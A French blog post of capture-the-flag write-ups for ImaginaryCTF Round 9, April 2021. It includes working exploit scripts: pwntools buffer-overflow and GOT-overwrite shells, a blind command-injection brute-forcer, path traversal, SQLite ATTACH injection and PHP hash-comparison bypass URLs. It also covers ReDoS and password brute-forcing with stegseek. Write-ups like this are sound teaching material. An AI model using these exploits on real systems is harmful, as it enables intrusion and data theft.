Ch0wW | Le Blog

ImaginaryCTF Writeup – Round 9 (Avril 2021)

Mon writeup des challenges d’ImaginaryCTF pour Avril 2021.

Stats du mois:

Sanity Check

1er Avril oblige, y’aura une blague. Pas vrai? On nous donne un fichier txt qui contient un lien ( https://youtu.be/2z8Q6klf2vQ ). En cliquant dessus…

Sauf qu’en regardant de plus près… La description à un « PLUS ». On va cliquer dessus, et troll oblige, du blanc, PARTOUT. Et tout en bas…

Flag: ictf{w3lcome_to_r0und_9!}


Rotations

Le mot en totalité est le suivant, car il laisse à confusion:

:4E7L=bED0DEcCE0_FE06K0H`E90D_>60C_EcfPN

Selon l’indication du titre et de la description, on comprend qu’on va avoir affaire à du shifting, façon César. Cependant, il ne marche qu’avec l’alphabet, et ici on a des caractères spéciaux. Une affaire d’ASCII se présente, regardons ainsi le tableau:

Nous savons que ça va commencer par « ictf« . Donc, calculons avec un script python la différence de caractères entre : et i:

original = ':'
result = 'i'
chrmax = 0

for a in range (ord(original), 125):
   if chr(a) == result:
      chrmax = a
      break

key = chrmax - ord(original)
print ("Key is {0}".format(key))

Ainsi, nous avons avancé de 47 caractères pour avoir ce résultat. Donc on va utiliser du ROT47 pour décrypter le code et avoir le flag.

Flag: ictf{l3ts_st4rt_0ut_ez_w1th_s0me_r0t47!}


Salty

on a ce code:

#!/usr/bin/env python3

import os
import hashlib

def main():
	while True:
		command = input("bash-4.2$ ")
		checkInput(command)
		os.system(command)

def checkInput(inp):
	if hashlib.sha512(("salt" + inp).encode()).hexdigest() == "".join([chr(ord(n) ^ 69) for n in "p\'|$!$\'\'rttvp#\'utvw# q \'$#v#v\'#|qupr&t\'| ursvvu#vr&\'!!|q!p\'!q#uuw}&v v}!q\'s\'trrrv!!q|#& s$p$# r#$\'#&&\'#}p!sqpw |\'t#r} pqwv!p&$u&"]):
		print("You win!")
		print("".join([chr(ord(n) ^ 69) for n in "-1156\x7fjj5$61 \',+k&*(j3\x10rs$\x0f3\x06"]))
		print(f"The password is \"{inp}\".")
		os.system("clear")

if __name__ == "__main__":
	main()

Déjà, on observe un truc pas très cool: si on trouve le bon mot de passe, la réponse disparait immédiatement. Donc, on va commenter os.system("clear") en premier lieu. Ensuite, observons avec python le string que le programme attend:

5b9adabb71135fb0132fe4ebaf3f3bf94057c1b9e076330f37cbdd94d5bd4f0028c3e38d4b6b17773dd49fce6a5afe7fabfccbf85d6452e9b1f78e5423d5ca0c

On voit aussi dans le code qu’on utilise du SHA-512, MAIS avec un salt (le préfixe étant… salt). Sur DCode, déchiffrons ce hash:

Donc, le check vérifie si « water » est le bon mot de passe. Une fois donné, on nous offre plus d’instructions pour la suite du challenge:

Sur Pastebin, on rentre le mot de passe donné par le programme, et le flag nous est donné.

Flag: ictf{s4lty_w4ter_1nd33d_4f285a3}


ret2win

On nous donne l’exécutable qu’on va pouvoir exploiter localement. Avec Ghidra, on va décompiler le code source, et on va voir 2 choses interessantes:

La fonction main() fait 2 scanf (non-protégés sinon c’est pas drôle), et on voit la fonction win() qui est ce qu’on désire (c’est à dire ouvre flag.txt et donne son contenu). D’ailleurs, lors de mes tests, j’ai fait ceci pour m’assurer que la solution marche:

echo "aaaaaaaacestleflag" > flag.txt

Bref. La première étape a été de passer le premier scanf. Comme la taille de son buffer est de 12, on va faire un buffer overflow, et modifier sa valeur en 0x1337c0d3.

Ensuite, on a un 2nd scanf qu’on voudrait utiliser pour passer la fonction, et arriver directement dans win(). Pour nous aider, on va regarder le stack de la fonction:

Comme nous avons 2 buffers de 12 bytes, un int32 (4 bytes), et la valeur de quelque chose qui utilise 8 bytes, on va devoir avoir un buffer de (12+12+4+8) = 36 pour overflow, et ainsi être capable de lancer la fonction. Du coup, mon code pour le binaire local utilise ceci:

from pwn import *

elf = context.binary = ELF('ret2win')
info("%#x target", elf.symbols['win'])

io = process(elf.path)
ret2win = p64(elf.symbols['win']) # get the address of func win()

# 1) Get past the first check
io.sendline(cyclic(12) + p64(0x1337c0d3))
io.recvline() # past the line

# 2) Directly go to the function win() after checking the stack
io.sendline(cyclic(36) + p64(0x4011b6))
io.interactive()

On remarque d’ailleurs que l’adresse de win() est 0x4011b6. On va réécrire le code pour se connecter sur le serveur distant, et avoir notre flag:

from pwn import *

io = remote("stephencurry.ctfchallenge.ga", 5000) 
io.sendline(cyclic(12) + p64(0x1337c0d3))
io.recvline()
io.sendline(cyclic(36) + p64(0x4011b6))
io.interactive()

Flag: ictf{mak1ng_r@nd0m_flags_15_n0t_fun}


Camouflage

On nous donne une simple image en PNG qui semble être qu’en noir et blanc… Aie.

Avec Photoshop j’ai essayé dans chaque channel de couleur un changement simple de luminosité, et le flag apparait. A noter qu’on peut aussi le trouver avec FotoForensics.

Flag: ictf{y0U_mu5T_h@v3_4MAz!n9_I_s16h7}


sources-adventure-hardened

En arrivant sur la page, on tombe sur ceci:

Cependant, dans la fenêtre d’inspection, on observe ceci:

Donc, un dossier qui ne doit pas être crawlable est indiqué… Dans robots.txt :

User-agent: *
Disallow: /classified_info

En allant sur /classified_info, on va nous donner une liste de comptes:

Employee Login Information:

"gdrake": "empl0y33_2",
"abrink": "g00d_emp10y33",
"mrardul": "I_Love_Roos",
"hgreen": "ruth123",
"almostadmin": "Pa$$w0rd10",
"bademployee": "getting_fired_tomorrow"

On rentre ce mot de passe, et on voit un message qui nous dit que l’utilisateur va être remplacé par rooYay2. On a même son profil qui dit quel mot de passe il va avoir! Le BG! ♥

En se loggant, mis à part un commentaire caché inutile (« It’s time for sources adventure! »), on repère 2 cookies:

adminID=320e00e73a7d24a9a44cde87e98d150e10e72b05ccffb74e7332354fdd85c5e5;adminPass=d24b240bef19d324d1ae19691591fbd942b6014ff750e0c501ad6f4d1b127ddd;

Les déchiffrer avec Crackstation (c’est du SHA256) nous donne ce compte:

panel / "991560128"licypz

En se loggant, on voit une phrase du boss:

As always, the company salaries are stored at the payroll page. Have a nice day!

donc en allant sur /payroll , on observe une liste JSON:

[
    {"Employee Username": "gdrake","Salary": "$15","Employee Rating": 5,"ID Code": "t!_6c6f6c}"},
    {"Employee Username": "abrink","Salary": "$13","Employee Rating": 8,"ID Code": "3_gr3a"},
    {"Employee Username": "mrardul","Salary": "$5","Employee Rating": 3,"ID Code": "s_ar"},
    {"Employee Username": "hgreen","Salary": "$24","Employee Rating": 11,"ID Code": "00l"},
    {"Employee Username": "almostadmin","Salary": "$30","Employee Rating": 15,"ID Code": "3r_t"},
    {"Employee Username": "bademployee","Salary": "$0.10","Employee Rating": -1,"ID Code": "3l0p"},
    {"Employee Username": "rooYay2","Salary": "$11","Employee Rating": 10,"ID Code": "{d3v"},
    {"Employee Username": "panel","Salary": "$60","Employee Rating": 20,"ID Code": "ictf"}
]

On voir l’ID Code qui, en le reconstituant en partant du bas, nous donne le flag.

Flag: ictf{d3v3l0p3r_t00ls_ar3_gr3at!_6c6f6c}


pyrev

On nous donne un fichier qui semble être un fichier python décompilé avec dis.dis()… Ca veut dire qu’on va devoir le recompiler nous même.

  2           0 LOAD_CONST               1 ((0, 6, -17, 14, -21, 25, -23, 5, 15, 2, -12, 11, -1, 6, -4, -12, -6, 9, 8, 5, -3, -3, 6, -6, 4, -18, -6, 26, -2, -18, 20, -17, -9, -4))
              2 GET_ITER
        >>    4 FOR_ITER                28 (to 34)
              6 STORE_FAST               1 (x)

  3           8 LOAD_FAST                0 (n)
             10 LOAD_FAST                1 (x)
             12 INPLACE_SUBTRACT
             14 STORE_FAST               0 (n)

  4          16 LOAD_GLOBAL              0 (print)
             18 LOAD_GLOBAL              1 (chr)
             20 LOAD_FAST                0 (n)
             22 CALL_FUNCTION            1
             24 LOAD_CONST               2 ('')
             26 LOAD_CONST               3 (('end',))
             28 CALL_FUNCTION_KW         2
             30 POP_TOP
             32 JUMP_ABSOLUTE            4

  5     >>   34 LOAD_GLOBAL              0 (print)
             36 CALL_FUNCTION            0
             38 POP_TOP
             40 LOAD_CONST               0 (None)
             42 RETURN_VALUE

En observant la liste, on voit plusieurs choses:

  • On a une liste de 34 éléments;
  • on voit comme fonctions print, ou encore chr ;
  • INPLACE_SUBSTRACT qui fait une soustraction de n et x.

D’ici la, l’idée est claire: on va partir du premier chiffre (qui est la lettre i). On soustrait ce chiffre avec la valeur qui suit pour trouver le second (c). Et on continue de soustraire la valeur précédente jusqu’à ce que le flag soit donné:

list = [0, 6, -17, 14, -21, 25, -23, 5, 15, 2, -12, 11, -1, 6, -4, -12, -6, 9, 8, 5, -3, -3, 6, -6, 4, -18, -6, 26, -2, -18, 20, -17, -9, -4]
res = ""
n = 105

for i in list:
    n = (n - i) 
    res = res + chr(n)

print(res)

Flag: ictf{bytecode_could_be_easy_as_py}


ImaginaryBot v2

En faisant un DM sur le bot, et en rentrant !help , nous avons une liste de commandes:

Si on tape naivement !printflag, on obtient ceci qui nous donne cependant une piste :

ictf{this is not the flag did you really think any challenge would be this easy lmaoooo} (the flag is somewhere in this bot though)

Cependant, en tapant bêtement d’autres commandes dans la liste, une qui a retenu mon attention était !rsa :

Avec RsaCtfTool, j’ai essayé de calculer les valeurs pour avoir au moins un message valide. Au final seul c était nécessaire de calculer pour avoir un message:

vare=13379
varp=5213737672727065222020380367974963480213275981510606528935581421569633382235623039854383476002183143
varq=1267197389977316449514784721713336481855696677406702944597630315424353837049598333878215442705055629
varc=2749624328820809444268788692260979020073772288590173236034704958985393624316235621849887548932119427377475068064801620486249915748529150880153678997980367387344341994276620933625732737607937718876584

python3 ./RsaCtfTool.py -e $vare --uncipher $varc -p $varp -q $varq

Cependant, le résultat n’était pas celui espéré…

Ainsi, c’est passé de défi de crypto en stéganographie… Génial. Mais OU pourrais-je trouver le fichier requis? La réponse est… Dans une autre commande. Et en tapant !imaginary une ou plusieurs fois, on peut trouver une image:

Comme on a dit que c’était de la stéganographie, on recherche des programmes qui en utilise. La première idée, celle qui était la plus courante (mais pas pour moi 😡 ) est d’utiliser steghide. Et en regardant bien, c’est le cas, des données additionnelles y sont incluses:

└──╼ #steghide info 7Y2RjXq.jpg 
"7Y2RjXq.jpg":
  format: jpeg
  capacit�: 1,3 KB

Cependant, pas de mot de passe exploitable parmi les idées les plus folles que j’ai pu avoir pendant 20 minutes x) ! Résultat, j’ai essayé de bruteforce avec stegseek et la wordlist Rockyou:

stegseek -sf ./7Y2RjXq.jpg -wl /usr/share/wordlists/rockyou.txt

Le mot de passe a été trouvé en 10 secondes, permettant d’avoir accès au fichier qui contient le flag.

Flag: ictf{d1sc0rd_b0ts_ar3_s0_c00l_r1ght?}


ReDOS

On nous donne la source du code, et on observe ceci:

if __name__ == '__main__':
	try:
		while True:
			menu()
	except TimeoutError as e:
		print("Catastrophic Error")
		print("Error code: "+open("flag.txt", "r").read())
		print()
		print("Server shutting down...")

On trouve une instance qui envoie TimeoutError, et c’est sur cette fonction:

@timeout_decorator.timeout(10, timeout_exception=TimeoutError)
def validateEmail(email):
	return emailRegex.match(email) is not None

Et bien sur, la fonction va faire un check du regex suivant:

emailRegex = re.compile(r'[A-Za-z0-9]+@((gmail)+)*\.(com|org|edu|gg)')

En checkant sur Regex101, on observe qu’on PEUT créer un DoS en abusant du regex, en allant chercher à l’infini du texte de groupe 1 et 2 (autrement dit, ((gmail)+)*. On va donc répeter gmail un nombre suffisamment élevé pour faire ralentir inutilement le programme, comme ici. Le flag va nous être donné lorsqu’on va créer un compte avec ce mail.

Flag: ictf{3v3n_r3g3x_i5_in53cur3}


Blind Shell

Nous avons la source donnée du challenge. Si la commande est correcte et que ca nous retourne quelque chose, ca retourne SUCCESS. Sinon il renvoie FAILURE:

#!/usr/bin/env python3.8

from subprocess import run

if __name__ == "__main__":
	while True:
		cmd = input(">>> ")
		proc = run([cmd], capture_output=True, shell=True, timeout=60)
		if proc.returncode == 0:
			print("SUCCESS")
		else:
			print("FAILURE")

J’ai repris la source, et j’ai trouvé un moyen de retrouver l’output de mes commandes LOCALEMENT:

python3 blindshell.py
>>> /bin/bash
exec 1>&0
exec 2>&0
ls
[...] flag.txt blindshell.py
exit
SUCCESS

En revanche, ça ne marchait pas sur le site distant. Mais, j’ai découvert que cat flag.txt renvoyait SUCCESS. L’idée était stupide, mais j’ai ainsi décidé de vérifier avec un grep si on pouvait vérifier que les premières lettres du flag (ictf) retournait un SUCCESS, ET C’ÉTAIT BIEN LE CAS! De ce fait, j’ai décidé de bruteforce le contenu du flag via pwntools:

from pwn import *

#beginning of word
word="ictf{"

r = remote("oreos.ctfchallenge.ga", 12345)

print("Trying to bruteforce flag from flag.txt")
print("Starting with {0}....".format(word))

while word[len(word)-1:] != "}":
        for i in range (33,126):
                if (i >= 34 and i <= 39):
                        continue
                if (i >= 58 and i <= 59):
                        continue;
                if (i == 124 or i == 42 or i == 46):
                        continue;
                r.recvuntil(">>>")
                cmd = "{0}{1}".format(word, chr(i))
                print("Sending {0}".format(cmd))
                r.sendline("cat flag.txt | grep {0}".format(cmd))
                answer = r.recvline().decode().strip()
#               print(answer)
                if (answer == 'SUCCESS'):
                        word="{0}{1}".format(word, chr(i))
                        print("FOUND {0}".format(word))
                        break;

Si vous observez bien, j’ai volontairement coupé certains caractères ASCII ; en effet, ces caractères pourraient retourner un faux positif… Après plusieurs minutes, le flag nous est donné.

Flag: ictf{g01n8_1n_bl!nd?n0t_@_pr0bl3m!}


Look-For-It

En cliquant sur le lien, on observe qu’une partie est rajoutée à la fin:

http://lookforit.epizy.com/?page=home.html

en faisant un Path Traversal, on arrivera vers le flag.

http://lookforit.epizy.com/?page=../flag.txt

Flag: ictf{l00ked_f0rit&_found_w@ld0…_n0t_really}


Spacebar Smasher

En cliquant sur le lien, on a un jeu sous Unity (WebGL) :

Je sais qu’on va devoir patcher la mémoire du programme. J’avais essayé avec Cheat engine, mais ca n’a pas marché.

Cependant, un plugin va bien nous aider, Cetus, qu’on va installer sur notre navigateur.

En relancant la page, je vais taper la touche de mon clavier une 20aine de fois, afin de chercher la valeur mémoire correspondante:

On change sa valeur en 214748338:

Et voila, plus qu’à mettre quelques coups de clavier pour finir le jeu!

Une fois terminé, on nous donne un lien pastebin qui nous donne le flag.

Flag: ictf{y0ur_r34l_l1f3_sp4ceb4r_mu$t_b3_br0ken…_w@1t_wdym_y0u_d1dnt_cl1ck_214748366_times?!}


The GOAT

Avec Pwntools, on va chercher le GOT de la fonction puts, puis on va l’écraser en récupérant la valeur du symbole system qui sera lancé à la place. Ainsi, un shell sera généré, permettant d’avoir accès au dossier du serveur:

from pwn import *

# Load the program to get address offsets...
elf = context.binary = ELF('goat')
info("%#x target", elf.symbols['main'])

io = remote("stephencurry.ctfchallenge.ga", 5001) 
#gdb.attach(io) # only for debugging (not needed)

# Get functions
addr_puts = str(elf.got['puts'])        # GOT of puts
addr_system = str(elf.sym['system'])    

# 1) Let's send the payload!
io.sendline(addr_puts)
io.recvline()
io.sendline(addr_system)

# Past this point, be able to interact with code
io.interactive()

Une fois dans le shell, on s’aperçoit… Qu’aucune commande ne semble donner d’output. Tiens, comme pour Blind Shell? Cependant, on arrive à avoir des outputs d’erreur, donc rien n’est perdu.

Une idée est venue en tête pour avoir le flag… Simplement utiliser sh pour essayer de lire la ligne de commande, et avoir directement une erreur, donnant le précieux passe. Ou alors, la solution classique, en redirigeant les messages vers le channel d’erreurs:

sh flag.txt # outputs an error with the line, giving out the flag
cat flag.txt 1<&2 # also works!

Flag: ictf{n0t_th3_g0at_but_th3_g0t}


What’s a database

On clique sur le lien, et magie… Du FLASK. On a le code source, hourra!

import flask
import pygments, pygments.lexers, pygments.formatters, pygments.lexers, nord_pygments
import sqlite3

app = flask.Flask(__name__)

@app.route("/")
def index():
    with open(__file__) as f:
        content = f.read()
    lexer = pygments.lexers.get_lexer_for_filename(__file__)
    nord_pygments.Nord.background_color = "#2e3440"
    return pygments.highlight(content, lexer, pygments.formatters.HtmlFormatter(full=True, style=nord_pygments.Nord))

@app.route("/db")
def db():
    with sqlite3.connect("flag.db") as flagcon:
        with sqlite3.connect(":memory:") as con:
            try:
                con.executescript(flask.request.args.get("script", ""))
                flag = flagcon.execute("SELECT flag FROM flag").fetchone()[0]
                ref = con.execute("SELECT * FROM whatsthis").fetchone()[0]
                if ref == flag:
                    return f"Since you already seem to know it, here's the flag again... {flag}"
                print(ref, flag)
            except:
                pass
    return "Nope"

if __name__ == "__main__":
    with sqlite3.connect("flag.db") as con:
        con.execute("DROP TABLE IF EXISTS flag");
        con.execute("CREATE TABLE flag (flag VARCHAR(80) PRIMARY KEY)");
        with open("flag.txt") as f:
            con.execute("INSERT INTO flag VALUES (?)", (f.read(),))
    app.run("0.0.0.0", 5000)

En l’analysant, on remarque que le code fait ceci:

  • On ouvre flag.db PUIS une database temporaire;
  • Le flag se trouve dans la 1ere database (flag.db)
  • On essaie de comparer sa valeur à la premiere valeur à la database temporaire (:memory:.whatsthis) (owo)

Problème: on a aucune idée si notre code est bon ou non, le programme retournant toujours Nope si le flag n’est pas trouvé.

Résultat, j’ai du lancer localement le code source ; en même temps, j’en ai profité pour faire un flag temporaire (echo THISISTHEFLAG > flag.txt) pour m’assurer de mes recherches. Et une fois le script lancé, j’ai recrée un autre fichier python avec juste ce que j’ai besoin, c’est à dire juste la partie /db avec une petite modification pour faciliter le test de mes requetes.

import sqlite3

with sqlite3.connect("flag.db") as flagcon:
        with sqlite3.connect(":memory:") as con:
            con.executescript("""
            """)
            flag = flagcon.execute("SELECT flag FROM flag").fetchone()[0]
            ref = con.execute("SELECT * FROM whatsthis").fetchone()[0]
            if ref == flag:
                print(f"Since you already seem to know it, here's the flag again... {flag}")
            print(ref, flag)

Pour trouver quoi faire, j’ai cherché comment lier la 1ere BDD avec celle actuelle: ATTACH DATABASE est la réponse à ma question. Ensuite, j’ai du créer la table whatsthis (car elle n’existe pas), et enfin, copier le contenu de la table flag vers whatsthis. Résultat:

ATTACH DATABASE 'flag.db' AS db2; CREATE TABLE 'whatsthis' (flag VARCHAR(80) PRIMARY KEY); INSERT INTO whatsthis SELECT * FROM db2.flag

Ainsi j’ai tapé ceci pour avoir le flag.

https://whats-a-database.robinjadoul.repl.co/db?script=ATTACH%20DATABASE%20%27flag.db%27%20AS%20db2;%20CREATE%20TABLE%20%27whatsthis%27%20(flag%20VARCHAR(80)%20PRIMARY%20KEY);%20INSERT%20INTO%20whatsthis%20SELECT%20*%20FROM%20db2.flag

Flag: ictf{psych0l0g1c4l_ATTACHment_1ssu3s}


Little

J’ai résoulu en changeant l’endianness du texte. Rien de plus à dire…

… Bon, ok, on peut aussi le faire manuellement: les . sont des caractères vides, et sont donc à ignorer.

#ORIGINAL:
ftcidne{nna1_sse1_s1ropmtnatfa5_2384...}

#EN CHANGEANT L'ENDIANNESS:
ft ci -> ictf
dn e{ -> {end
nn a1 -> 1ann
_s se -> ess_
1_ s1 -> 1s_1
ro pm -> mpor
tn at -> tant
fa 5_ -> _5af
23 84 -> 4832
.. .} -> }...

Flag: ictf{end1anness_1s_1mportant_5af4832}


Form a String

N’oublions pas qu’on est sur une appli en x64, donc il faudra utiliser %llx pour avoir la valeur complète du byte.

Enfin, il faudra le convertir son endianess pour avoir le flag.

Flag: ictf{f0rm4t_s7r1ngs_4r3_w17h_printf}


Just in Time 1

On a le code source suivant:

#!/usr/bin/env python3

import time
import random

def main():
	time.sleep(random.random())
	random.seed(round(time.time(), 2))
	print("If you guess my numbers, I'll give you the flag.")
	print("I'll give you a hint: %d"%random.randint(0, 1000000000))
	for i in range(3):
		try:
			rnum = random.randint(0, 1000000000)
			num = int(input("What is number %d? "%(i+1)))
			if num != rnum:
				raise Exception()
		except Exception as e:
			print("Nope! Try again later...")
			return
	print("Well done!")
	print(open('flag.txt', 'r').read())

if __name__ == '__main__':
	main()

En observant le code, le programme fait ceci:

  • On attend aléatoirement entre 0 et 1 seconde, arrondi au centième.
  • Une fois ce temps attendu, la valeur actuelle du temps sera la seed.
  • On nous sortira 4 valeurs random, 3 d’entre elles devront être trouvées.

Du coup, nous savons quoi faire. Faisons un code qui va bruteforce toutes les valeurs de time.time() dans une intervalle d’une seconde:

import random
import time

limit = 4
inittime = time.time()

for i in range(100):
    trycalc = round(inittime - (i/100), 2) 
    random.seed(trycalc)
    print("TIME ==> {0}".format(trycalc))
    for i in range(limit):
        print(random.randint(0, 1000000000))

Ensuite, lançons le netcat. Lorsqu’on aura ce chiffre d’indice, on va devoir lancer le programme en moins d’une seconde:

python bruteforce.py > file.txt

Ensuite, on vérifie que le chiffre d’indice est bien présent, ce qui confirmera que notre bruteforce a fonctionné:

cat file.txt | grep <hint>

Flag: ictf{t1ck_t0ck_1t5_g3++ing_l@t3}

(PS: ce n’etait pas la manière la plus optimale d’avoir le flag, mais ca a marché, c’est le principal)


Fake Crypto

 <?php
include('flag.php');
highlight_file(__FILE__);
if ($_GET['a'] != $_GET['b']) {
    echo "<br>Requirement 1<br>";
    if (md5('savory salt' . $_GET['a']) == md5('savory salt' . $_GET['b'])) {
        echo $FLAG;
    }
}?>

J’ai méchamment cheese le défi en utilisant des arrays. Je sais qu’il fallait bruteforce, mais j’ai décidé de le faire autrement.

https://fake-crypto.robinjadoul.repl.co/?a[]=0&b[]=1

Flag: ictf{h@sh3s_4r3_m4g!c}


Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.